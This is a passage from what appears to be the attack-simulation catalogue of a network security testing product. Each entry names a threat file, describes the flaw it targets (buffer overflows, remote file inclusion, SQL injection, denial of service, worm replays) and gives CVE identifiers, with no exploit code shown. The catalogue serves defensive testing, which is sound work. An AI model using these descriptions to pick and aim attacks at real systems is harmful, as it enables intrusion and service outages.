CVEID:	CVE-2011-4189
OSVDB:	79720
Threat File Name:	FSC20080806-07_Apache_HTTP_Server_mod_proxy_ftp_Wildcard_Characters_Cross-Site_Scripting_IPv6.xml
Executive Description:	Apache HTTP Server mod_proxy_ftp Wildcard Characters Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_proxy_ftp module. The flaw is due to lack of sanitization of user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2939
Threat Package:	Standard
Threat File Name:	TSL20110826-04_Apple_CUPS_gif_read_lzw_Heap_Buffer_Overflow.xml
Executive Description:	Apple CUPS gif_read_lzw Heap Buffer Overflow
Detailed Description:	A heap buffer overflow exists in Common Unix Printing System (CUPS). The vulnerability exists in the gif_read_lzw function when handling compressed GIF images. A remote attacker can exploit this vulnerability by sending a specially crafted GIF image to a vulnerable service. Authentication may be required, depending on server configuration. Successful exploitation could result in arbitrary code executions with the privileges of the affected service.
Protocol Type:	IPP,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-3170
Threat File Name:	TSL20111117-01_HP_Data_Protector_Multiple_Products_FinishedCopy_SQL_Injection_IPv6.xml
Executive Description:	HP Data Protector Multiple Products FinishedCopy SQL Injection(IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the <italic> field in a user supplied SOAP request to the DPNCEnternal web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-3162
Threat File Name:	FSC20071204-02_Squid_Proxy_Cache_Update_Denial_of_Service.xml
Executive Description:	Squid Proxy Cache Update Denial of Service
Detailed Description:	There exists a denial of service vulnerability in Squid web proxy application. The flaw is due to incorrect bounds checking when processing crafted cache update reply messages. A remote unauthenticated attacker may trigger this vulnerability to terminate the affected service.
Protocol Type:	HTTP
CVEID:	CVE-2007-6239
Threat Package:	Standard
Threat File Name:	proxy_hunt1_IPv6.xml
Executive Description:	Proxy Connection (IPv6 Version)
Detailed Description:	This threat attempts to cause a HTTP server to connect via proxy to the Imperfect Networks website. Depending on the network configuration setup, this might allow an attacker to use the machine as an anonymous proxy. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	finder_dmg_corruption_IPv6.xml
Executive Description:	Apple Finder DMG Volume Name Memory Corruption (IPv6 Version)
Detailed Description:	This threat simulates a client making a HTTP GET request, and the server replying with a maliciously constructed Apple disk image (DMG) file. This file will trigger a vulnerability when Finder attempts to open it, which can cause a denial of service and possibly allow execution of arbitrary code. This is particularly bad when the Safari web browser is used, as Safari will attempt to open the DMG file automatically by default. The DMG file is transferred over HTTP, which usually runs over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	witty.xml
Executive Description:	Witty Worm
Detailed Description:	This threat is a copy of the Witty worm, which infected hosts using BlackICE firewalls in 2004. It causes instability and sends out copies of itself at a rapid rate.
Protocol Type:	ICQ
CVEID:	CVE-2004-0362
OSVDB:	4355
Threat Package:	Standard
Threat File Name:	FSC20071017-05_Oracle_Database_Core_RDBMS_Component_Denial_of_Service.xml
Executive Description:	Oracle Database Core RDBMS Component Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Oracle Database Server. The vulnerability is due to an error in Core RDBMS Component when handling an invalid TNS data packet. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted TNS packet. Successful exploitation of the vulnerability would cause complete CPU usage which results in a denial of service condition.
Protocol Type:	TCP
CVEID:	CVE-2007-5530
Threat Package:	Standard

Threat File Name:	TSL20131101-10_HP_LoadRunner_Virtual_User_Generator_EmulationAdmin_Two_Directory_Traversal_IPv6.xml
Executive Description:	HP LoadRunner Virtual User Generator EmulationAdmin Two Directory Traversal(IPv6 Version)
Detailed Description:	Two directory traversal vulnerabilities exist in HP LoadRunner Virtual User Generator. The vulnerabilities exist in the EmulationAdmin web service. The vulnerabilities are due to insufficient validation on the parameters of copyFileToServer and getFileContentAsLines methods. A remote unauthenticated attacker can exploit these vulnerabilities to create arbitrary files on the server or disclose sensitive information by reading arbitrary files on the server. Successful exploitation of one of these vulnerabilities could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP,IPv6
CVEID:	CVE-2013-4837
OSVDB:	99231
Threat File Name:	firefoxFavIconInjec2.xml
Executive Description:	Firefox Favicon 2 Code Execution
Detailed Description:	This threat causes Mozilla Firefox to execute code with the permissions of the user operating the browser. The code is executed due to a flaw in the displaying of a favicon in the URL bar. This typically lets the malicious webpage control the target computer. Mozilla Firefox is a web browser and typically connects to port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1155
OSVDB:	15686
Threat Package:	Standard
Threat File Name:	fastream_Traversal.xml
Executive Description:	Fastream Web Server Directory Traversal
Detailed Description:	This threat takes advantage of a directory traversal bug in Fastream's Netfile Web Server. This can allow a user to arbitrarily view, delete, and create files on the host computer. This can lead to remote system compromise if the webserver has full access rights to the host operating system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0676
OSVDB:	15914
Threat Package:	Standard
Threat File Name:	ICMPPParameterBadPointer.xml
Executive Description:	ICMP Parameter Problem Pointer Out of Bounds Flood
Detailed Description:	This threat sends a ICMP parameter problem message with a bogus payload and a pointer that points beyond the end of the payload block. This can cause an out of bounds error on stack implementations that do not check if the pointer is greater than the message length.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	ms_vstudio_activex_overwrite_IPv6.xml
Executive Description:	Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual Studio PDWizard ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3041
Threat Package:	Standard
Threat File Name:	mpc_mp4_bof.xml
Executive Description:	Media Player Classic 6.4.9 MP4 File Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Media Player Classic. This threat is delivered via web page listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipcontentlengthlarge_IPv6.xml
Executive Description:	SIPPING: Content Length Larger Than Message (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with the content length larger than the actual message. This is not valid and will cause different results based on the transport method used. Over UDP, this message should be rejected, but may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	lupper15.xml
Executive Description:	Lupper Worm 15
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	phpbluedragon_rfi.xml
Executive Description:	PhpDragonCMS remote file include
Detailed Description:	This threat sends a crafted url that exploits a failing in the Template.PHP function which allows a malicious user to include commands in the context of the vulnerable web server.PhpDragonCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	omniweb_fmt_IPv6.xml
Executive Description:	OmniWeb Javascript alert() Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a web page, and the server replying with a maliciously constructed HTML document. This page will trigger a format string vulnerability in the Javascript alert() function, which can allow execution of arbitrary code. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070425-14_Apple_QuickTime_MOV_File_JVTCompEncodeFrame_Heap_Overflow.xml
Executive Description:	Apple QuickTime MOV File JVTCompEncodeFrame Heap Overflow
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is due to insufficient bounds checking in the "JVTCompEncodeFrame()" function when processing malformed MOV files. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user. Assurent has not been able to identify the affected MPEG-4 data object associated with this vulnerability within the 24-hour research period.
Protocol Type:	HTTP
CVEID:	CVE-2007-2295
Threat Package:	Standard
Threat File Name:	FSC20100330-06_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer web browser. The vulnerability is due to an error while accessing an object that has been already deleted or not initialized. This would result in accessing arbitrary memory content and can be exploited for code execution. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. The behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0490
Threat Package:	Standard
Threat File Name:	FSC20101109-03_Microsoft_PowerPoint_Legacy_File_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft PowerPoint Legacy File Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft PowerPoint. The flaw is due to a buffer overflow when parsing PowerPoint 95 files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,FTP,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2572
Threat File Name:	bee-hive_rfi.xml
Executive Description:	Bee-hive Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the "rootGui.inc.php" function which allows a malicious user to include commands in the context of the vulnerable web server. Bee-hive is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3266
Threat Package:	Standard
Threat File Name:	bind_bof.xml
Executive Description:	ISC Bind 8 Transaction Signatures Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a flaw in the BIND TSIG handling code which allows a remote attacker to gain root privileges. BIND is a DNS server which listens on port 53.
Protocol Type:	DNS
CVEID:	CVE-2001-0010
OSVDB:	14795
Threat Package:	Standard
Threat File Name:	nmapNetmask.xml
Executive Description:	nmap ICMP Netmask Request Probe
Detailed Description:	This threat mimics the ICMP netmask request packet that nmap sends in an attempt to determine if a host is up or not for further portscanning.
Protocol Type:	ICMP
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	sipxtapi_bof_IPv6.xml
Executive Description:	sipXtapi Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a large value for the CSeq header. CSeq values of greater than 24 bytes can cause a buffer overflow and code execution in products that use the sipXtapi library, which is used in AOL Triton and PingTel. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2006-3524
OSVDB:	27122
Threat Package:	VoIP
Threat File Name:	TSL20120823-04_Oracle_Outside_In_XPM_Image_Processing_Stack_Buffer_Overflow_IPV6.xml
Executive Description:	Oracle Outside In XPM Image Processing Stack Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling XPM image files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed XPM file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	request_com1.xml
Executive Description:	HTTP Request for COM1
Detailed Description:	This threat makes a request for a reserved device represented by a filename (COM1). Causes some web servers on Windows to crash when attempting to read the file.
Protocol Type:	HTTP
CVEID:	CVE-2004-2316

Threat Package:	Standard
Threat File Name:	p990i_web_dos_IPv6.xml
Executive Description:	Symbian Mangleme Crash 0x5fb73273 (IPv6 Version)
Detailed Description:	This malformed page causes the Symbian browser to lock hard, making the phone/device unresponsive. The only way to return the phone back to a normal state is to remove the battery and place it back in. This threat can be delivered by any malicious page to a symbian based phone. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120214-20_Microsoft_Office_Visio_Viewer_VSD_File_Type_Confusion.xml
Executive Description:	Microsoft Office Visio Viewer VSD File Type Confusion
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Visio Viewer. The vulnerability is due to the way Visio Viewer performs validation on attributes when handling certain Visio files. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing a user to open a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0019
Threat File Name:	TSL20130514-13_Microsoft__NET_Framework_XML_Digital_Signature_Spoofing.xml
Executive Description:	Microsoft .NET Framework XML Digital Signature Spoofing
Detailed Description:	A spoofing vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to Microsoft .NET Framework fails to properly validate the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1336
OSVDB:	93301
Threat File Name:	sipnulluri_IPv6.xml
Executive Description:	SIPPING: Escaped NULLs in URIs (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with null characters escaped in URIs. This is valid but unexpected, so a SIP implantation may have problems parsing it. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20080108-08_Microsoft_Windows_Kernel_ICMP_Fragmented_Packet_Processing_Denial_of_Service.xml
Executive Description:	Microsoft Windows Kernel ICMP Fragmented Packet Processing Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the way Microsoft Windows Kernel processes ICMP requests. The vulnerability is due to insufficient boundary checking when processing fragmented router advertisement ICMP requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted ICMP messages to an affected system. Successful exploitation may cause the system to stop responding.
Protocol Type:	ICMP
CVEID:	CVE-2007-0066
Threat Package:	Standard
Threat File Name:	sap_waecho.xml
Executive Description:	SAP WebAgent Buffer Overflow
Detailed Description:	This threat sends a HTTP GET request that causes the waecho URL in SAP WebAgent to crash.
Protocol Type:	HTTP
CVEID:	CVE-2003-0944
OSVDB:	3084
Threat Package:	Standard
Threat File Name:	TSL20150708-02_ISC_BIND_DNSSEC_Validation_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND DNSSEC Validation Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability exists in ISC BIND. The vulnerability is due to an error during DNSSEC validation. A remote attacker can exploit this vulnerability by sending crafted queries under certain circumstances. Successful exploitation will result in a denial of service condition. Tester should set the variable \$destPort to 53 before test.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2015-4620
Threat File Name:	minibb_rfi.xml
Executive Description:	MiniBB Multiple Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote malicious PHP file to include in the returned page and executed in the context of the webserver process .MiniBB is an web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3690
Threat Package:	Standard
Threat File Name:	TSL20170330-11_Trend_Micro_IWSVA_DeploymentWizardAction_GetClusterInfo_Command_Injection.xml
Executive Description:	Trend Micro IWSVA DeploymentWizardAction GetClusterInfo Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters in the GetClusterInfo method of the DeploymentWizardAction class. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS
Threat File Name:	ms03-022.xml
Executive Description:	NSIISLOG.DLL Buffer Overflow

Detailed Description:	This threat causes a buffer overflow the nsislog.dll web DLL of IIS. It allows a remote attacks to run arbitrary code on the server. nsislog.dll is a component of Microsoft's IIS, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0349
OSVDB:	4535
Threat Package:	Standard
Threat File Name:	TSL20121009-10_Microsoft_Works_Word_Document_Processing_Use_After_Free.xml
Executive Description:	Microsoft Works Word Document Processing Use After Free
Detailed Description:	A vulnerability has been reported in Microsoft Works that could allow remote attackers to execute arbitrary code on the vulnerable system. The vulnerability is due to an error while parsing Word files which can lead to heap corruption. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted Word file in a vulnerable application. Successful exploitation would result in execution of arbitrary code with the privileges of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2550
OSVDB:	86056
Threat File Name:	FSC20071211-14_Microsoft_Internet_Explorer_Clone_Object_Reference_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Clone Object Reference Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles unexpected method calls to HTML objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3903
Threat Package:	Standard
Threat File Name:	TSL20150909-12_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_GetRecipeInfo_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetRecipeInfo Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of GetRecipeInfo() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-9208
Threat File Name:	osx_mailapp_bof.xml
Executive Description:	Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
Detailed Description:	This threat delivers an email which triggers a buffer overflow vulnerability in the Mail.app software package. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
CVEID:	CVE-2006-0396
OSVDB:	23872
Threat Package:	Standard
Threat File Name:	FSC20080408-12_Microsoft_Windows_GDI_Metatile_Image_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDI Metatile Image Handling Heap Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to a calculation error while handling EMF or WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted EMF or WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1083
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_OCTET_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_OCTET_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to octet with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20080811-05_Apache_Tomcat_allowLinking_URIencoding_Directory_Traversal_Vulnerability.xml
Executive Description:	Apache Tomcat allowLinking URIencoding Directory Traversal Vulnerability
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-2938
Threat Package:	Standard
Threat File Name:	phpunity_rfi_IPv6.xml
Executive Description:	phpunity.postcard (phpunity-postcard.php) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpUnity is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120719-03_Apple_QuickTime_Plugin_SetLanguage_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Plugin SetLanguage Buffer Overflow(IPv6)

Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient bounds checking when parsing parameters to the <code>IQTPluginControl::SetLanguage</code> COM method inside the QuickTime plugin. This vulnerability can be exploited by a remote attacker by enticing the target user to open a specially crafted HTML page containing an embedded video with the affected application. Successful exploitation could result in arbitrary code injection and execution in the context of the currently logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0666
OSVDB:	81937
Threat File Name:	x86NOOPudp4_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 4 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	awstats_cmi.xml
Executive Description:	AWStats Referrer Arbitrary Command Execution Vulnerability
Detailed Description:	This threat sends a crafted post command with a modified referrer field, this field is used directly and can be executed directly by the script. AWStats is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1527
Threat File Name:	cisco_cbos.xml
Executive Description:	Cisco Web Admin Denial of Service
Detailed Description:	This threat causes a crash on certain Cisco equipment when sent to the Web Administration page.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110614-37_Microsoft_Internet_Explorer_VML_vgx_dll_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML vgx.dll Use After Free(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the Microsoft Vector Markup Language dynamic link library vgx.dll. The vulnerability is due to improper handling of VML objects in HTML documents. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page using Internet Explorer, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, Internet Explorer may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1266
Threat File Name:	x86NOOPudpUNICODE_IPv6.xml
Executive Description:	UDP x86 NOOP Variant UNICODE (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	shttpd_bof_IPv6.xml
Executive Description:	SHTTPD Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a buffer overflow vulnerability in the SHTTPD web server whereby an attacker can execute code on the affected system with the privileges of the running service. SHTTPD is a web server and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpworm2_IPv6.xml
Executive Description:	phpinclude.worm Attack 2 (IPv6 Version)
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-IP_CE.xml
Executive Description:	Fuzzer for Protocol:IP and Field:CE
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	FSC20090105-04_RealNetworks_Helix_Server_RTSP_SETUP_Stack_Buffer_Overflow.xml
Executive Description:	RealNetworks Helix Server RTSP SETUP Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way RealNetworks Helix Server handles RTSP requests. Remote unauthenticated attackers can exploit this vulnerability by sending malicious RTSP SETUP requests to the affected server. As a result of processing the malicious command, a stack-based buffer overflow can be triggered which may result in injection and execution of arbitrary code within the security privileges of the vulnerable service on the target system, normally System. In the case of an attack, where code injection is unsuccessful, the Helix Server service will terminate, and all the connected sessions will be closed immediately. Furthermore, the functionality of all the services that depend on the vulnerable service might be affected as well. In the case where code injection was successful, the behaviour of the system will be entirely dependent on the nature of the injected code. Any code executed will be with the the security privileges of the vulnerable service, normally System.
Protocol Type:	RTSP
Threat Package:	Standard

Threat File Name:	TSL20170710-02_Apache_Struts_2_Struts_1_Plugin_Remote_Code_Execution.xml
Executive Description:	Apache Struts 2 Struts 1 Plugin Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Apache Struts. The vulnerability is due to improper validation of user-provided input passed to the ActionMessage class. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code with the privileges of the server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-9791
Threat File Name:	smtp_debug.xml
Executive Description:	SMTP Probe DEBUG
Detailed Description:	This threat sends the DEBUG statement to an SMTP server. This command is used to put the SMTP server into a troubleshooting mode.
Protocol Type:	SMTP
CVEID:	CVE-1999-0095
OSVDB:	195
Threat Package:	Standard
Threat File Name:	MOKB-26-11-2006_IPv6.xml
Executive Description:	Apple Mac OS X Mach-O Binary Loading Integer Overflow Vulnerability. (IPv6 Version)
Detailed Description:	This threat demonstrates the MOKB-26-11-2006 Mach-O binary loader integer overflow flaw, this threat is delivered over HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6129
Threat Package:	Standard
Threat File Name:	TSL20120214-15_Microsoft_Windows_C_Runtime_Library_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows C Runtime Library Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows. The vulnerability is due to improper calculation of the allocation size for the heap memory buffer. This vulnerability can be exploited while processing certain crafted media files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted file with applications and programs that use C and C++ run-time library msvcrt.dll. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0150
Threat File Name:	TSL20060913-10_Microsoft_Internet_Explorer_daxctle_ocx_KeyFrame_Method_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer daxctle.ocx KeyFrame Method Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the DirectAnimation ActiveX control. The flaw is due to improper validation of user supplied arguments to the KeyFrame() method of the affected object. By persuading the target user to visit a malicious web site, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2006-4777
Threat File Name:	pnphpbb2_rfi_IPv6.xml
Executive Description:	PNphpBB2 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PNphpBB is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	NOOPudpAIX_IPv6.xml
Executive Description:	UDP NOOP Variant AIX (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	squid_ftp_bof.xml
Executive Description:	Squid Proxy FTP URL Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the URL parsing portion of Squid proxy server. This allows remote code execution to occur and allow the attacker to gain control of the proxy server. Proxy servers can listen on typical HTTP ports, such as 80, or on specific ports, such as 3128 in this case.
Protocol Type:	HTTP
CVEID:	CVE-2002-0068
OSVDB:	5378
Threat Package:	Standard
Threat File Name:	FSC20100413-05_Microsoft_Windows_2000_Media_Services_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows 2000 Media Services Stack Buffer Overflow (IPv6 Version)

Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows 2000 Media Services. The vulnerability is due to the way Windows Media Unicast Service handles specially crafted transport information packets. An attacker can exploit this vulnerability by creating a specially crafted transport information packet and sending it to the offending service. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Note: Based on researching the patch, it has been discovered that the vulnerability is not fully mitigated. After the patch is applied, a system is still vulnerable to attacks targeting this vulnerability. TELUS Security Labs is currently working with the vendor to further investigate this issue. (IPv6 Version)
Protocol Type:	MMS/IPv6
CVEID:	CVE-2010-0478
Threat Package:	Standard
Threat File Name:	TSL20140416-17_Oracle_Data_Quality_DateTimeWrapper_onchange_Untrusted_Pointer_Dereference.xml
Executive Description:	Oracle Data Quality DateTimeWrapper onchange Untrusted Pointer Dereference
